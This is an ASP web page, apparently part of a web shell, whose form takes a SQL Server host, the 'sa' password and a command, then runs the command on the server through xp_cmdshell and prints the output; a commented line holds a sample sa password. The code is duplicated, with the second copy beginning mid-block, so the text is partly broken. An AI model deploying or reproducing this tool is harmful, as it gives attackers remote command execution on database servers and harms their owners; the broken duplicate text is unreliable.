<%if request("cmd")<>"" then%>
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>
</tr>
<%
dim connstr,conn,rs,i
ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 colspan=2 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL实例</span></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>服务器</strong></td>
<td width=74% class=LBR><div align="left">
<input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
</div></td>
</tr>
<tr align=center >
<td class=LB><b>SA密码 </b></td>
<td class=LBR><div align="left"><span class=N1>
<input name="PWD" type="text" id="PWD" class="input" size="20" value="<%=request("PWD")%>">
</span></div></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>CMD命令</strong></td>
<td width=74% class=LBR><div align="left">
<input name="CMD" type="text" id="CMD" class="input" size="20" value="<%=request("CMD")%>">
</div></td>
</tr>
<tr align=center >
<td colspan="2" class=LBR><div align="center"><b> </b>
<input type="submit" name="Submit" value=" 提交Command命令 " class="input">
</div></td>
</tr>
</table>
</form>
</body>
</html>
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>
</tr>
<%
dim connstr,conn,rs,i
ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 colspan=2 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL实例</span></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>服务器</strong></td>
<td width=74% class=LBR><div align="left">
<input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
</div></td>
</tr>
<tr align=center >
<td class=LB><b>SA密码 </b></td>
<td class=LBR><div align="left"><span class=N1>
<input name="PWD" type="text" id="PWD" class="input" size="20" value="<%=request("PWD")%>">
</span></div></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>CMD命令</strong></td>
<td width=74% class=LBR><div align="left">
<input name="CMD" type="text" id="CMD" class="input" size="20" value="<%=request("CMD")%>">
</div></td>
</tr>
<tr align=center >
<td colspan="2" class=LBR><div align="center"><b> </b>
<input type="submit" name="Submit" value=" 提交Command命令 " class="input">
</div></td>
</tr>
</table>
</form>
</body>
</html>